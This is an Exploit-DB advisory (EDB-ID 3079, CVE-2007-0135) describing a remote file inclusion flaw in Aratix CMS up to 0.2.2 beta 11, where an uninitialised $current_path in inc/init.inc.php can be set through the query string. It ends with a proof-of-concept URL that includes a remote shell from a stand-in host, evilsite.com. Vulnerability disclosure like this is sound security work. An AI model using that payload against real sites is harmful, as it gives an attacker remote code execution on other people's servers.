Aratix <= 0.2.2b11 inc/init.inc.php Remote File Include Vulnerability

2007-01-04T00:00:00
ID EDB-ID:3079
Type exploitdb
Reporter nuffsaid
Modified 2007-01-04T00:00:00

Description

Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability. CVE-2007-0135. Webapps exploit for php platform

                                        
                                            +-------------------------------------------------------------------------------------------
+ Aratix &lt;= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.aratix.de/
+ Affected Software .: Aratix &lt;= 0.2.2 beta 11
+ Download ..........: http://download.xitara.net/aratix/aratix-0.2.2beta11.tar.gz
+ Description .......: "Aratix is the next generation of CMS and Groupware"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid &lt;nuffsaid[at]newbslove.us&gt;
+-------------------------------------------------------------------------------------------
+ Details:
+ Aratix inc/init.inc.php does not initialize the $current_path variable before using it to
+ include files, assuming register_globals = on, we can initialize the variable in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ inc/init.inc.php, line(s) 16-41:
+ -&gt; 16: include $current_path . 'inc/session.inc.php';
+ -&gt; 17: include $current_path . 'inc/pages.inc.php';
+ -&gt; 18: include $current_path . 'inc/modules.inc.php';
+ -&gt; 33: include $current_path . 'inc/functions.inc.php'; // Zusätzliche Funktionen einbinden
+ -&gt; 41: include $current_path . 'extern/smarty/Smarty.class.php';
+
+ Proof Of Concept:
+ http://[target]/[path]/inc/init.inc.php?current_path=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-04]